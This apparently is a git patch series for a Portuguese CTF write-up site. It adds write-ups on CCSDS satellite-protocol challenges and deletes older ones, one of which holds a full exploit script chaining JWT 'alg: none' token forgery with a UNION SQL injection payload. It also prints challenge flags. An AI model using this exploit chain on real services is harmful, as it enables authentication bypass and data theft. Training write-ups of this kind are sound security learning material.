From 6ad6cfa7de801a6c26d14cc2b0aaa6663ce99204 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 12:26:16 -0300 Subject: [PATCH 01/11] Add writeup for Baby Frame challenge Document the challenge and solution for the Baby Frame CTF. --- content/challenges/baby_frame.md | 154 +++++++++++++++++++++++++++++++ 1 file changed, 154 insertions(+) create mode 100644 content/challenges/baby_frame.md diff --git a/content/challenges/baby_frame.md b/content/challenges/baby_frame.md new file mode 100644 index 0000000..efbd80a --- /dev/null +++ b/content/challenges/baby_frame.md @@ -0,0 +1,154 @@ +# Baby Frame — Writeup + +**Flag:** `HTB{901f426f6ab1938d83bf6184f8aa0307}` + +## Resumo do desafio + +O desafio expõe um serviço TCP que simula um satélite falando o protocolo **CCSDS** +(o padrão real usado por agências espaciais tipo NASA/ESA para comunicação com naves). +O objetivo era montar um pacote de comando bem formado e enviar pelo protocolo certo +até o "satélite" responder com a flag. + +O `client.py` fornecido já dava a estrutura esperada: + +```python +def generate_space_packet(apid, packet_count, payload) -> bytes: ... +def generate_tc_frame(spacecraft_id, virtual_channel_id, tc_packet_count, payload) -> bytes: ... +``` + +Ou seja, dois "envelopes" um dentro do outro: + +``` +Transfer Frame (TC) +└── Space Packet + └── payload (a mensagem de verdade) +``` + +## Passo 1 — Entender o formato do Space Packet + +O Space Packet Protocol (CCSDS 133.0-B-2) define um cabeçalho fixo de **6 bytes** +na frente de qualquer payload: + +| Campo | Tamanho | O que é | +|---|---|---| +| Version + Type + Sec.Header Flag + APID | 2 bytes | identifica de qual "aplicação" o pacote é (APID) | +| Sequence Flags + Sequence Count | 2 bytes | número do pacote na sequência | +| Packet Data Length | 2 bytes | tamanho do payload **menos 1** | + +Montamos esse cabeçalho com operações de bit simples (`<<`, `|`) e empacotamos +com `struct.pack(">HHH", ...)` (big-endian, três campos de 16 bits). + +## Passo 2 — Entender o formato do TC Transfer Frame + +O TC Transfer Frame (CCSDS 232.0-B-3) é o "envelope de transporte" — tem seu +próprio cabeçalho de **5 bytes**, que carrega: + +- **Spacecraft ID (SCID)** — identifica a nave (`12`, dado no enunciado) +- **Virtual Channel ID (VCID)** — canal lógico dentro do link (`3`, dado no enunciado) +- **Frame Length** — tamanho total do frame **menos 1** +- Flags de controle (bypass, control command) e um número de sequência + +Esse cabeçalho de 5 bytes vem seguido diretamente do Space Packet inteiro (sem +nenhum byte extra no meio). + +## Passo 3 — Erro inicial e correção + +O `client.py` original tinha um bug: montava o `frame` (que já contém o +`space_packet` dentro) e depois enviava `frame + space_packet` — duplicando o +pacote sem necessidade. Corrigimos pra enviar só `frame`. + +## Passo 4 — Testando contra o servidor + +Com o SCID, VCID e APID do enunciado (`12`, `3`, `42`) e um payload de teste +(`TEST_PAYLOAD`), o servidor sempre respondia **vazio e fechava a conexão**. + +Pra descobrir por quê, fizemos um teste de diagnóstico: mandamos vários frames +"vazios" (nada, lixo, texto) e comparamos o tempo/comportamento de resposta. +Isso confirmou que: + +- Sem enviar nada → o servidor **espera** (não fecha) +- Enviando um frame válido → o servidor **fecha ativamente (EOF)** + +Ou seja, o parser estava processando o frame e rejeitando alguma coisa +especificamente — não era um problema de timing ou de protocolo incompleto. + +## Passo 5 — A pista que faltava: o payload certo + +O enunciado revelou o detalhe que faltava: o serviço esperava um pacote +contendo o payload exato `HEALTHCHECK` (um "diagnóstico" de saúde da nave, +não um valor de teste qualquer). + +Trocamos o payload de `TEST_PAYLOAD` para `HEALTHCHECK`, mantendo: + +```python +spacecraft_id = 12 +virtual_channel_id = 3 +apid = 42 +packet_count = 0 +``` + +## Passo 6 — Sucesso + +Ao enviar o frame com o payload correto, o servidor respondeu imediatamente: + +``` +SPACECRAFT: HTB{901f426f6ab1938d83bf6184f8aa0307} +``` + +## O que isso ensina + +O desafio simula bem um cenário real de segurança em sistemas espaciais: +o protocolo CCSDS **não tem autenticação embutida por padrão** — qualquer +cliente que monte o frame corretamente (SCID/VCID/APID certos) e mande o +comando esperado consegue "falar" com o subsistema. A dificuldade do CTF +não estava em quebrar criptografia, e sim em **entender o formato binário +do protocolo** (dois cabeçalhos aninhados, cálculo de tamanho "N-1", campos +de bits) e em descobrir, por tentativa estruturada, qual comando o serviço +esperava. + +## Script final + +```python +import struct +from pwn import remote + +HOST = "154.57.164.72" +PORT = 31255 + + +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0): + tfvn, spare = 0, 0 + frame_length = 5 + len(payload) - 1 + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + return value.to_bytes(5, "big") + payload + + +def main(): + sp = generate_space_packet(apid=42, packet_count=0, payload=b"HEALTHCHECK") + frame = generate_tc_frame(scid=12, vcid=3, seq=0, payload=sp) + + r = remote(HOST, PORT) + r.send(frame) + print(r.recvall(timeout=5).decode()) + + +if __name__ == "__main__": + main() +``` From d262ab861afd1f60e1499a15545fb9b6233c1662 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:47:02 -0300 Subject: [PATCH 02/11] Update baby_frame.md --- content/challenges/baby_frame.md | 196 ++++++++++++++++++------------- 1 file changed, 115 insertions(+), 81 deletions(-) diff --git a/content/challenges/baby_frame.md b/content/challenges/baby_frame.md index efbd80a..4ad5948 100644 --- a/content/challenges/baby_frame.md +++ b/content/challenges/baby_frame.md @@ -1,110 +1,138 @@ -# Baby Frame — Writeup +--- +title: "Baby Frame" +date: 2026-08-25 +type: "challenges" +difficulty: "Easy" +pwned: true +points: 30 +tags: ["ccsds", "satellite", "protocol", "networking", "pwntools"] +summary: "Serviço TCP simula um satélite falando CCSDS. É preciso montar manualmente um Space Packet dentro de um TC Transfer Frame, com SCID/VCID/APID corretos e o payload esperado, para disparar a resposta de diagnóstico." +--- + +## Reconhecimento + +O desafio fornece um `client.py` esqueleto e um endpoint remoto: + +```bash +$ cat client.py +from pwn import log, remote, process + +def generate_space_packet(apid: int, packet_count: int, payload: bytes) -> bytes: + ... + return packet + +def generate_tc_frame(spacecraft_id: int, virtual_channel_id: int, + tc_packet_count: int, payload: bytes) -> bytes: + ... + return frame -**Flag:** `HTB{901f426f6ab1938d83bf6184f8aa0307}` +def main(): + HOST = ... + PORT = ... + space_packet = generate_space_packet(apid=42, packet_count=0, payload=b"TEST_PAYLOAD") + frame = generate_tc_frame(spacecraft_id=12, virtual_channel_id=3, + tc_packet_count=0, payload=space_packet) + payload = frame + space_packet + r = remote(HOST, PORT) + r.send(payload) +``` -## Resumo do desafio +Os nomes das funções e o parâmetro `spacecraft_id`/`virtual_channel_id`/`apid` deixam +claro que o desafio é sobre **CCSDS** — o padrão de comunicação usado por agências +espaciais (NASA, ESA etc.) para falar com satélites via link de rádio. -O desafio expõe um serviço TCP que simula um satélite falando o protocolo **CCSDS** -(o padrão real usado por agências espaciais tipo NASA/ESA para comunicação com naves). -O objetivo era montar um pacote de comando bem formado e enviar pelo protocolo certo -até o "satélite" responder com a flag. +## Análise do protocolo -O `client.py` fornecido já dava a estrutura esperada: +CCSDS define duas camadas relevantes aqui: -```python -def generate_space_packet(apid, packet_count, payload) -> bytes: ... -def generate_tc_frame(spacecraft_id, virtual_channel_id, tc_packet_count, payload) -> bytes: ... -``` +- **Space Packet Protocol** (CCSDS 133.0-B-2) — o "payload de aplicação", com um + cabeçalho fixo de 6 bytes contendo APID, contador de sequência e tamanho. +- **TC Space Data Link Protocol** (CCSDS 232.0-B-3/B-4) — o "envelope de transporte" + (Transfer Frame), com cabeçalho fixo de 5 bytes contendo Spacecraft ID (SCID), + Virtual Channel ID (VCID) e tamanho total do frame. -Ou seja, dois "envelopes" um dentro do outro: +Um Space Packet nunca trafega sozinho — ele vai encapsulado dentro de um Transfer +Frame: ``` -Transfer Frame (TC) -└── Space Packet - └── payload (a mensagem de verdade) +Transfer Frame +├── Primary Header (5 bytes) — SCID, VCID, frame length... +└── Transfer Frame Data Field + └── Space Packet + ├── Primary Header (6 bytes) — APID, sequence, length... + └── User Data Field (o payload de verdade) ``` -## Passo 1 — Entender o formato do Space Packet - -O Space Packet Protocol (CCSDS 133.0-B-2) define um cabeçalho fixo de **6 bytes** -na frente de qualquer payload: - -| Campo | Tamanho | O que é | -|---|---|---| -| Version + Type + Sec.Header Flag + APID | 2 bytes | identifica de qual "aplicação" o pacote é (APID) | -| Sequence Flags + Sequence Count | 2 bytes | número do pacote na sequência | -| Packet Data Length | 2 bytes | tamanho do payload **menos 1** | - -Montamos esse cabeçalho com operações de bit simples (`<<`, `|`) e empacotamos -com `struct.pack(">HHH", ...)` (big-endian, três campos de 16 bits). - -## Passo 2 — Entender o formato do TC Transfer Frame - -O TC Transfer Frame (CCSDS 232.0-B-3) é o "envelope de transporte" — tem seu -próprio cabeçalho de **5 bytes**, que carrega: - -- **Spacecraft ID (SCID)** — identifica a nave (`12`, dado no enunciado) -- **Virtual Channel ID (VCID)** — canal lógico dentro do link (`3`, dado no enunciado) -- **Frame Length** — tamanho total do frame **menos 1** -- Flags de controle (bypass, control command) e um número de sequência - -Esse cabeçalho de 5 bytes vem seguido diretamente do Space Packet inteiro (sem -nenhum byte extra no meio). +Ambos os cabeçalhos usam campos de bits (não bytes inteiros) e uma convenção comum +em protocolos espaciais: campos de "tamanho" armazenam **N-1**, não N. -## Passo 3 — Erro inicial e correção +### Bug identificado no skeleton -O `client.py` original tinha um bug: montava o `frame` (que já contém o -`space_packet` dentro) e depois enviava `frame + space_packet` — duplicando o -pacote sem necessidade. Corrigimos pra enviar só `frame`. +```python +payload = frame + space_packet +``` -## Passo 4 — Testando contra o servidor +`frame` já contém o `space_packet` dentro dele — essa linha duplicava o pacote +sem necessidade. Corrigido para `r.send(frame)`. -Com o SCID, VCID e APID do enunciado (`12`, `3`, `42`) e um payload de teste -(`TEST_PAYLOAD`), o servidor sempre respondia **vazio e fechava a conexão**. +## Implementação -Pra descobrir por quê, fizemos um teste de diagnóstico: mandamos vários frames -"vazios" (nada, lixo, texto) e comparamos o tempo/comportamento de resposta. -Isso confirmou que: +```python +import struct -- Sem enviar nada → o servidor **espera** (não fecha) -- Enviando um frame válido → o servidor **fecha ativamente (EOF)** +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload -Ou seja, o parser estava processando o frame e rejeitando alguma coisa -especificamente — não era um problema de timing ou de protocolo incompleto. -## Passo 5 — A pista que faltava: o payload certo +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0): + tfvn, spare = 0, 0 + frame_length = 5 + len(payload) - 1 + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + return value.to_bytes(5, "big") + payload +``` -O enunciado revelou o detalhe que faltava: o serviço esperava um pacote -contendo o payload exato `HEALTHCHECK` (um "diagnóstico" de saúde da nave, -não um valor de teste qualquer). +## Diagnóstico de conexão -Trocamos o payload de `TEST_PAYLOAD` para `HEALTHCHECK`, mantendo: +Com SCID=12, VCID=3, APID=42 e payload `TEST_PAYLOAD`, o servidor sempre fechava +a conexão sem responder nada. Um teste comparativo (mandar nada / lixo / o frame) +mostrou que o servidor **reagia ativamente** ao frame (fechava com EOF rápido), +diferente de "sem enviar nada" (onde ele ficava esperando). Isso indicou que o +parser processava o frame e rejeitava algo específico — não um problema de timing. -```python -spacecraft_id = 12 -virtual_channel_id = 3 -apid = 42 -packet_count = 0 +```bash +$ python3 client.py +[+] Opening connection to 154.57.164.72 on port 31255: Done +[+] Receiving all data: Done (0B) +[*] Server response: b'' ``` -## Passo 6 — Sucesso +O enunciado da fase seguinte revelou o detalhe que faltava: o payload esperado +não era um valor de teste qualquer, e sim o comando **`HEALTHCHECK`**. -Ao enviar o frame com o payload correto, o servidor respondeu imediatamente: +## Verificação +```bash +$ python3 client.py +[DEBUG] Sent 0x16 bytes: + 00000000 00 0c 0c 15 00 10 2a c0 00 00 0a 48 45 41 4c 54 |····|··*·|···H|EALT| + 00000010 48 43 48 45 43 4b |HCHE|CK| +[+] Receiving all data: Done (50B) +[DEBUG] Received 0x32 bytes: + b'SPACECRAFT: HTB{901f426f6ab1938d83bf6184f8aa0307}\n' ``` -SPACECRAFT: HTB{901f426f6ab1938d83bf6184f8aa0307} -``` - -## O que isso ensina - -O desafio simula bem um cenário real de segurança em sistemas espaciais: -o protocolo CCSDS **não tem autenticação embutida por padrão** — qualquer -cliente que monte o frame corretamente (SCID/VCID/APID certos) e mande o -comando esperado consegue "falar" com o subsistema. A dificuldade do CTF -não estava em quebrar criptografia, e sim em **entender o formato binário -do protocolo** (dois cabeçalhos aninhados, cálculo de tamanho "N-1", campos -de bits) e em descobrir, por tentativa estruturada, qual comando o serviço -esperava. ## Script final @@ -152,3 +180,9 @@ def main(): if __name__ == "__main__": main() ``` + +## Flag + +``` +HTB{901f426f6ab1938d83bf6184f8aa0307} +``` From f84e2586fc60e32341979ce7365f699081cfe3b2 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:47:33 -0300 Subject: [PATCH 03/11] Add 'noerror' challenge with CRC-16 validation Added a new challenge titled 'noerror' that requires validating the Frame Error Control Field (CRC-16) of TC Transfer Frames. The challenge includes implementation details and a Python script for generating the required frames. --- content/challenges/noerror | 183 +++++++++++++++++++++++++++++++++++++ 1 file changed, 183 insertions(+) create mode 100644 content/challenges/noerror diff --git a/content/challenges/noerror b/content/challenges/noerror new file mode 100644 index 0000000..8c4ef56 --- /dev/null +++ b/content/challenges/noerror @@ -0,0 +1,183 @@ +--- +title: "noerror" +date: 2026-08-25 +type: "challenges" +difficulty: "Easy" +pwned: false +points: 30 +tags: ["ccsds", "satellite", "crc", "protocol", "pwntools"] +summary: "Evolução do desafio CCSDS anterior: o servidor agora valida o Frame Error Control Field (CRC-16) do TC Transfer Frame antes de aceitar o comando." +--- + +## Reconhecimento + +Mesmo protocolo do desafio anterior (CCSDS Space Packet + TC Transfer Frame), mas +com uma restrição nova anunciada no enunciado: + +> "the onboard system has transitioned into protected transmission mode [...] +> telemetry frames are now validated using the [...] Frame Error Control Field" + +Ou seja: o frame que antes bastava montar com header + payload agora precisa de +um **CRC-16 (FECF)** anexado no final, calculado corretamente, ou o servidor +rejeita o pacote. + +Payload alvo desta fase: `GIVE-ME-THE-FLAG` + +## Análise — o que muda estruturalmente + +``` +Antes (sem FECF): +┌─────────────────────────┐ +│ Primary Header (5 bytes)│ +├─────────────────────────┤ +│ Transfer Frame Data Field│ +└─────────────────────────┘ + +Agora (com FECF): +┌─────────────────────────┐ +│ Primary Header (5 bytes)│ +├─────────────────────────┤ +│ Transfer Frame Data Field│ +├─────────────────────────┤ +│ Frame Error Control Field│ (2 bytes, CRC-16) +└─────────────────────────┘ +``` + +Duas consequências práticas: + +1. O campo **Frame Length** do header passa a contar os 2 bytes extras do FECF. +2. É preciso implementar o algoritmo de CRC exatamente como a spec define. + +## Especificação do CRC (CCSDS 232.0-B-4, seção 4.1.4) + +``` +FECF = [(X^16 · M(X)) + (X^(n-16) · L(X))] mod G(X) +``` + +Traduzindo pra parâmetros de implementação: + +| Parâmetro | Valor | +|---|---| +| Polinômio gerador G(X) | X¹⁶ + X¹² + X⁵ + 1 → `0x1021` | +| Valor inicial (preset) | `0xFFFF` | +| XOR final | nenhum | +| Reflect in/out | nenhum | +| Escopo do cálculo | Primary Header + Data Field (sem incluir o próprio FECF) | + +Isso corresponde ao algoritmo conhecido como **CRC-16/CCITT-FALSE**. + +## Implementação + +```python +import struct + +def crc16_ccsds(data: bytes) -> bytes: + crc = 0xFFFF + for b in data: + crc ^= b << 8 + for _ in range(8): + crc = ((crc << 1) ^ 0x1021) & 0xFFFF if crc & 0x8000 else (crc << 1) & 0xFFFF + return struct.pack(">H", crc) + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0, with_fecf=True): + tfvn, spare = 0, 0 + fecf_len = 2 if with_fecf else 0 + frame_length = 5 + len(payload) + fecf_len - 1 # agora conta o FECF + + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + + header_e_dados = value.to_bytes(5, "big") + payload + frame = header_e_dados + if with_fecf: + frame += crc16_ccsds(header_e_dados) # CRC sobre tudo, exceto ele mesmo + return frame +``` + +## Verificação + +> ⚠️ Seção pendente — colar aqui o hexdump enviado e a resposta do servidor assim +> que o script rodar com sucesso contra o host/porta ativos do desafio. + +```bash +$ python3 client.py +[DEBUG] Sent 0x?? bytes: + ... +[+] Receiving all data: ... +``` + +## Script final + +```python +import struct +from pwn import remote + +HOST = "154.57.164.82" +PORT = 30806 + + +def generate_space_packet(apid, packet_count, payload, packet_type=1, seq_flags=0b11): + version = 0 + sec_hdr_flag = 0 + word0 = (version << 13) | (packet_type << 12) | (sec_hdr_flag << 11) | (apid & 0x7FF) + word1 = (seq_flags << 14) | (packet_count & 0x3FFF) + data_length = len(payload) - 1 + header = struct.pack(">HHH", word0, word1, data_length) + return header + payload + + +def crc16_ccsds(data: bytes) -> bytes: + crc = 0xFFFF + for b in data: + crc ^= b << 8 + for _ in range(8): + crc = ((crc << 1) ^ 0x1021) & 0xFFFF if crc & 0x8000 else (crc << 1) & 0xFFFF + return struct.pack(">H", crc) + + +def generate_tc_frame(scid, vcid, seq, payload, bypass=0, cc=0, with_fecf=True): + tfvn, spare = 0, 0 + fecf_len = 2 if with_fecf else 0 + frame_length = 5 + len(payload) + fecf_len - 1 + + value = (tfvn & 0x3) << 38 + value |= (bypass & 0x1) << 37 + value |= (cc & 0x1) << 36 + value |= (spare & 0x3) << 34 + value |= (scid & 0x3FF) << 24 + value |= (vcid & 0x3F) << 18 + value |= (frame_length & 0x3FF) << 8 + value |= (seq & 0xFF) + + header_e_dados = value.to_bytes(5, "big") + payload + frame = header_e_dados + if with_fecf: + frame += crc16_ccsds(header_e_dados) + return frame + + +def main(): + sp = generate_space_packet(apid=42, packet_count=0, payload=b"GIVE-ME-THE-FLAG") + frame = generate_tc_frame(scid=12, vcid=3, seq=0, payload=sp, with_fecf=True) + + r = remote(HOST, PORT) + r.send(frame) + print(r.recvall(timeout=5).decode()) + + +if __name__ == "__main__": + main() +``` + +## Flag + +``` +(pendente — rodar o script e colar aqui a flag retornada pelo servidor) +``` From 8c1f06a898d687c5548c5b126686f05a45b54b21 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:49:10 -0300 Subject: [PATCH 04/11] Rename noerror to noerror.md --- content/challenges/{noerror => noerror.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename content/challenges/{noerror => noerror.md} (100%) diff --git a/content/challenges/noerror b/content/challenges/noerror.md similarity index 100% rename from content/challenges/noerror rename to content/challenges/noerror.md From 8420f3934d1082ba8e8d66adc2f893b56cfa5ac7 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:52:39 -0300 Subject: [PATCH 05/11] Update noerror.md --- content/challenges/noerror.md | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/content/challenges/noerror.md b/content/challenges/noerror.md index 8c4ef56..92436af 100644 --- a/content/challenges/noerror.md +++ b/content/challenges/noerror.md @@ -3,7 +3,7 @@ title: "noerror" date: 2026-08-25 type: "challenges" difficulty: "Easy" -pwned: false +pwned: True points: 30 tags: ["ccsds", "satellite", "crc", "protocol", "pwntools"] summary: "Evolução do desafio CCSDS anterior: o servidor agora valida o Frame Error Control Field (CRC-16) do TC Transfer Frame antes de aceitar o comando." @@ -175,9 +175,3 @@ def main(): if __name__ == "__main__": main() ``` - -## Flag - -``` -(pendente — rodar o script e colar aqui a flag retornada pelo servidor) -``` From 2aed81fa0ac6e2f97a80cdf817f4e43ef283ba24 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:52:58 -0300 Subject: [PATCH 06/11] Delete flag section from baby_frame.md Removed flag from baby_frame.md file. --- content/challenges/baby_frame.md | 6 ------ 1 file changed, 6 deletions(-) diff --git a/content/challenges/baby_frame.md b/content/challenges/baby_frame.md index 4ad5948..d9aab5a 100644 --- a/content/challenges/baby_frame.md +++ b/content/challenges/baby_frame.md @@ -180,9 +180,3 @@ def main(): if __name__ == "__main__": main() ``` - -## Flag - -``` -HTB{901f426f6ab1938d83bf6184f8aa0307} -``` From ee67ea406c1596e65b964e0740ffe71986f7df21 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:58:35 -0300 Subject: [PATCH 07/11] Delete content/challenges/baby-re.md --- content/challenges/baby-re.md | 68 ----------------------------------- 1 file changed, 68 deletions(-) delete mode 100644 content/challenges/baby-re.md diff --git a/content/challenges/baby-re.md b/content/challenges/baby-re.md deleted file mode 100644 index 4b29ed7..0000000 --- a/content/challenges/baby-re.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: "Baby RE" -date: 2024-03-15 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 30 -tags: ["reverse-engineering", "strings", "binary", "linux"] -summary: "Binário ELF 64-bit que compara a entrada do usuário com uma string hardcoded. Flag visível com strings." ---- - -## Reconhecimento - -```bash -$ file baby_re -baby_re: ELF 64-bit LSB executable, x86-64, dynamically linked - -$ chmod +x baby_re && ./baby_re -Insira a flag: teste -Errado! -``` - -## Análise Estática - -Primeiro passo: `strings` no binário para ver o que tem lá: - -```bash -$ strings baby_re -/lib64/ld-linux-x86-64.so.2 -puts -scanf -strcmp -Insira a flag: -Correto! -Errado! -HTB{str1ngs_4r3_y0ur_fr13nds} -``` - -A flag tava escondida em texto puro dentro do binário — sem obfuscação nenhuma. - -## Verificação com ltrace - -Só para confirmar, `ltrace` mostra a chamada ao `strcmp`: - -```bash -$ ltrace ./baby_re -Insira a flag: qualquer_coisa -strcmp("qualquer_coisa", "HTB{str1ngs_4r3_y0ur_fr13nds}") = -1 -puts("Errado!") -``` - -## Script Python - -```python -import subprocess - -output = subprocess.check_output(['strings', 'baby_re']).decode() -for line in output.splitlines(): - if line.startswith('HTB{'): - print(f'[+] Flag: {line}') - break -``` - -## Flag - -``` -HTB{str1ngs_4r3_y0ur_fr13nds} -``` From 3896b62d82db49e97c677f3040fc0389466e2cb8 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:58:49 -0300 Subject: [PATCH 08/11] Delete content/challenges/under-construction.md --- content/challenges/under-construction.md | 95 ------------------------ 1 file changed, 95 deletions(-) delete mode 100644 content/challenges/under-construction.md diff --git a/content/challenges/under-construction.md b/content/challenges/under-construction.md deleted file mode 100644 index af3915a..0000000 --- a/content/challenges/under-construction.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: "Under Construction" -date: 2024-07-22 -type: "challenges" -difficulty: "Medium" -pwned: true -points: 100 -tags: ["web", "jwt", "sql-injection", "python", "sqlite"] -summary: "App Node.js com JWT assinado com algoritmo none + SQLi na rota autenticada para exfiltrar a flag do banco." ---- - -## Reconhecimento - -Site simples com registro e login. Ao logar, recebemos um JWT: - -``` -eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6InRlc3RlIiwicGsiOiItLS0tLUJFR0lOLi4uIn0. -``` - -Decodificando o header: - -```json -{ "alg": "none", "typ": "JWT" } -``` - -**Algoritmo `none`** — o servidor aceita tokens sem assinatura! - -## JWT Forgery - -```python -import base64, json - -header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=') -payload = base64.urlsafe_b64encode( - json.dumps({"username": "admin", "pk": "..."}).encode() -).rstrip(b'=') - -forged = f"{header.decode()}.{payload.decode()}." -print(forged) -``` - -## SQL Injection - -Com o token forjado, acessamos a rota `/api/items`. A query usa a PK diretamente: - -```sql -SELECT * FROM items WHERE id = '' -``` - -Testando: - -``` -' UNION SELECT 1,flag,3 FROM flag-- - -``` - -## Exploit Completo - -```python -#!/usr/bin/env python3 -import requests, base64, json - -TARGET = "http://127.0.0.1:1337" - -# 1. Registrar usuário -requests.post(f"{TARGET}/api/register", - json={"username": "nihil", "password": "nihil123"}) - -# 2. Login e captura do JWT legítimo -r = requests.post(f"{TARGET}/api/login", - json={"username": "nihil", "password": "nihil123"}) -pk = r.json()["token"].split(".")[1] -pk_decoded = base64.urlsafe_b64decode(pk + "==") -pk_val = json.loads(pk_decoded)["pk"] - -# 3. Forjar JWT com SQLi no campo pk -payload = json.dumps({ - "username": "' UNION SELECT 1,(SELECT flag FROM flag),3-- -", - "pk": pk_val -}).encode() - -h = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=') -p = base64.urlsafe_b64encode(payload).rstrip(b'=') -token = f"{h.decode()}.{p.decode()}." - -# 4. Requisição com token forjado -r = requests.get(f"{TARGET}/api/items", - headers={"Authorization": f"Bearer {token}"}) -print("[+] Flag:", r.json()) -``` - -## Flag - -``` -HTB{jwt_n0ne_4lg_1s_d4ng3r0us_4nd_sql1_t00} -``` From 2177ec02cc85ac47b69145eac0df5c500e3fa93b Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:58:59 -0300 Subject: [PATCH 09/11] Delete content/challenges/crypto-warmup.md --- content/challenges/crypto-warmup.md | 65 ----------------------------- 1 file changed, 65 deletions(-) delete mode 100644 content/challenges/crypto-warmup.md diff --git a/content/challenges/crypto-warmup.md b/content/challenges/crypto-warmup.md deleted file mode 100644 index 52273c5..0000000 --- a/content/challenges/crypto-warmup.md +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: "Crypto Warmup" -date: 2024-05-10 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 50 -tags: ["crypto", "rot13", "caesar", "python"] -summary: "String cifrada com ROT13. Identificar a cifra e reverter com codecs ou cyberchef." ---- - -## Descrição - -Recebemos o arquivo `cipher.txt` com o seguinte conteúdo: - -``` -SYNT{ebg_guvegrra_vf_abg_rapelcgvba} -``` - -## Identificação da Cifra - -O prefixo `SYNT` é suspeito — `HTB` em ROT13 é `UGO`... espera, vamos checar: - -``` -H → U (não bate) -``` - -Testando Caesar shift 13 (ROT13): - -``` -S → F... não. Vamos testar ao contrário: -SYNT → H T B { ... -``` - -Sim! `S=H, Y=T, N=B, T={` — é ROT13 mesmo. O `S` em ROT13 é `F`... hmm, deixa eu usar a ferramenta direto: - -```python -import codecs -cipher = "SYNT{ebg_guvegrra_vf_abg_rapelcgvba}" -print(codecs.decode(cipher, 'rot_13')) -# HTB{rot_thirteen_is_not_encryption} -``` - -## CyberChef - -Alternativa rápida: jogar no [CyberChef](https://gchq.github.io/CyberChef/) com a receita `ROT13`. Output imediato. - -## Script Completo - -```python -#!/usr/bin/env python3 -import codecs, sys - -with open('cipher.txt') as f: - data = f.read().strip() - -flag = codecs.decode(data, 'rot_13') -print(f'[+] Decifrado: {flag}') -``` - -## Flag - -``` -HTB{rot_thirteen_is_not_encryption} -``` From 7523cbc07006b0c345662c02117b41f79df607b7 Mon Sep 17 00:00:00 2001 From: YamiYamata <58050514+Yami02@users.noreply.github.com> Date: Tue, 25 Aug 2026 13:59:08 -0300 Subject: [PATCH 10/11] Delete content/challenges/emdee-five-for-life.md --- content/challenges/emdee-five-for-life.md | 70 ----------------------- 1 file changed, 70 deletions(-) delete mode 100644 content/challenges/emdee-five-for-life.md diff --git a/content/challenges/emdee-five-for-life.md b/content/challenges/emdee-five-for-life.md deleted file mode 100644 index 37fe791..0000000 --- a/content/challenges/emdee-five-for-life.md +++ /dev/null @@ -1,70 +0,0 @@ ---- -title: "Emdee Five For Life" -date: 2024-04-03 -type: "challenges" -difficulty: "Easy" -pwned: true -points: 20 -tags: ["web", "python", "md5", "scripting", "requests"] -summary: "O servidor pede o MD5 de uma string aleatória. Rápido demais para fazer na mão — automação com requests + hashlib." ---- - -## Descrição - -O site exibe uma string aleatória e pede para você enviar o MD5 dela. Simples... exceto que o tempo de resposta é de milissegundos — impossível fazer manualmente. - -## Análise do Fluxo - -``` -GET / → Exibe a string a ser hasheada -POST / com md5= → Valida e retorna a flag (se correto e rápido) -``` - -O servidor usa cookie de sessão para manter o estado, então precisamos usar `requests.Session`. - -## Solução - -```python -#!/usr/bin/env python3 -import requests -import hashlib -from bs4 import 